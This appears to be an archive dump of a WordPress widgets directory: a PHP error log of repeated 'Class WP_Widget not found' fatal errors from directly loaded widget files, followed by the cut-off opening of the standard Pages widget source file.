#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[01-Nov-2025 07:19:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[01-Nov-2025 07:20:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[01-Nov-2025 07:21:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[01-Nov-2025 07:23:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[01-Nov-2025 07:24:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[01-Nov-2025 07:25:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Nov-2025 07:26:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[01-Nov-2025 07:27:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[01-Nov-2025 07:28:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[01-Nov-2025 07:29:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[01-Nov-2025 07:30:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[01-Nov-2025 07:31:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[01-Nov-2025 07:36:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[01-Nov-2025 07:36:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[01-Nov-2025 07:38:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[01-Nov-2025 07:43:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[01-Nov-2025 07:49:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[01-Nov-2025 07:50:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[01-Nov-2025 07:52:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[01-Nov-2025 07:59:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Nov-2025 08:03:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[01-Nov-2025 08:07:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[01-Nov-2025 08:10:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[01-Nov-2025 08:11:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[01-Nov-2025 08:13:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[01-Nov-2025 08:15:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[01-Nov-2025 08:17:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[01-Nov-2025 08:21:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[01-Nov-2025 08:22:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[01-Nov-2025 08:23:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[01-Nov-2025 08:26:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php on line 17
[01-Nov-2025 08:27:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[01-Nov-2025 12:10:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php on line 18
[01-Nov-2025 18:10:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php on line 18
[01-Nov-2025 18:51:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php on line 17
[01-Nov-2025 22:57:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[01-Nov-2025 23:01:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Nov-2025 23:02:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[01-Nov-2025 23:03:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[01-Nov-2025 23:04:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[01-Nov-2025 23:05:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[01-Nov-2025 23:16:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[01-Nov-2025 23:16:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[01-Nov-2025 23:17:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[01-Nov-2025 23:18:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[01-Nov-2025 23:23:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[01-Nov-2025 23:24:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[01-Nov-2025 23:25:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[01-Nov-2025 23:28:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[01-Nov-2025 23:30:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[01-Nov-2025 23:31:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[01-Nov-2025 23:34:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[01-Nov-2025 23:35:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[01-Nov-2025 23:38:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[01-Nov-2025 23:39:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[01-Nov-2025 23:41:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Nov-2025 23:42:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[01-Nov-2025 23:45:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[01-Nov-2025 23:46:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[01-Nov-2025 23:49:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[01-Nov-2025 23:50:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[01-Nov-2025 23:51:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[01-Nov-2025 23:52:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[01-Nov-2025 23:53:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[01-Nov-2025 23:54:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[01-Nov-2025 23:55:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[01-Nov-2025 23:56:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Nov-2025 23:57:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[01-Nov-2025 23:58:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[01-Nov-2025 23:59:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[02-Nov-2025 00:00:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[02-Nov-2025 00:01:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[02-Nov-2025 00:02:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[02-Nov-2025 00:03:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[02-Nov-2025 00:10:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[02-Nov-2025 00:30:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php on line 17
[02-Nov-2025 01:39:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php on line 18
[02-Nov-2025 10:47:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php on line 18
[02-Nov-2025 11:19:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php on line 17
class-wp-widget-pages.php000064400000013130151024420100011347 0ustar00<?php
/**
 * Widget API: WP_Widget_Pages class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Pages widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Pages extends WP_Widget {

	/**
	 * Sets up a new Pages widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_pages',
			'description'                 => __( 'A list of your site&#8217;s Pages.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'pages', __( 'Pages' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Pages widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
